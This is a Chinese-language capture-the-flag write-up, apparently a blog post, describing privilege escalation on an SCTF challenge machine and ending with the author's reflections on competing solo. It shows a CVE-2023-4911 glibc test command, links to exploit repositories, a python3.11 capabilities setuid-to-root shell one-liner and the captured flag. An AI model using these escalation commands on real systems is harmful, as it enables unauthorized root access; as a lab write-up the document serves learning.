PWD=/tmp
PYTHON_SETUPTOOLS_VERSION=57.5.0
HOME=/root
LANG=C.UTF-8
GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421
DTERM=xterm
SHLVL=1
PYTHON_PIP_VERSION=23.0.1
PYTHON_GET_PIP_SHA256=45a2bb8bf2bb5eff16fdd00faef6f29731831c7c59bd9fc2bf1f3bed511ff1fe
PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/9af82b715db434abb94a0a6f3569f43e72157346/public/get-pip.py
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/home/jerrywww:/home/www
OLDPWD=/app/
ez_tex_=/usr/bin/cat
注意到里面有个jerrywww账户,预期解是扫出22端口,尝试爆破jerrywww的密码,权限和 www 是一样的(?
怎么爆呢,我不会(
看了下wm和s1um4i两个战队的wp,都是提权各显神通
提权1:CVE-2023-4911
看一下glibc的版本
GLIBC 2.36-9+deb12u1,稳辣
验一下有没有CVE-2023-4911,参考:https://github.com/ruycr4ft/CVE-2023-4911
env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help
用wget
下载我们本地的exp到靶机上
直接在靶机内pip下pwntools
依赖,然后网络超时,尝试编译exp,编译失败报错(
也可以用这个项目试试:https://github.com/RickdeJager/CVE-2023-4911
靶机只有半小时测起来有点麻烦(
提权2:capabilities提权
参考:https://www.cnblogs.com/f-carey/p/16026088.html#tid-G6FGpn
查找设置了capabilities可执行文件
$ getcap -r / 2>/dev/null
/usr/bin/python3.11 cap_setuid=ep
直接打payload:
python3.11 -c 'import os; os.setuid(0); os.system("/bin/sh")'
flag在/root/sctf
问卷
SCTF{SYC_HAvE_a-G00d_t1me!!}
X:D
孤身挑战xctf分站赛,web难度强如猛虎,拼尽全力三血它!
自己一个人光是一道 havefun 就花了接近一天的时间来解决它,六题web的话想必要花至少六天的时间才能打完(
本来第二天有早七的,但是凌晨一点半的时候ruby反序列化打进去弹shell了直接给我整兴奋了,但是没找到flag,鉴于实在是太晚了只好作罢
但是这样子真睡不着了((
结果第二天6点就醒了,根本不困,继续找flag😡
最后也是在八点多的时候找到了flag拿下三血
至于其它的题目,时间真不够我解的啊,时间停止吧,你是多么美丽😭
(什么你问我校队其它人呢,另外几位要跟着联队打,然后23级的后辈们真挺青黄不接的,于是这种比赛对我来说基本上是web个人挑战赛了)
总体上还是一次比较振奋自己(士气)的战绩,稍微撼动了一下校队打不了大比赛的固有印象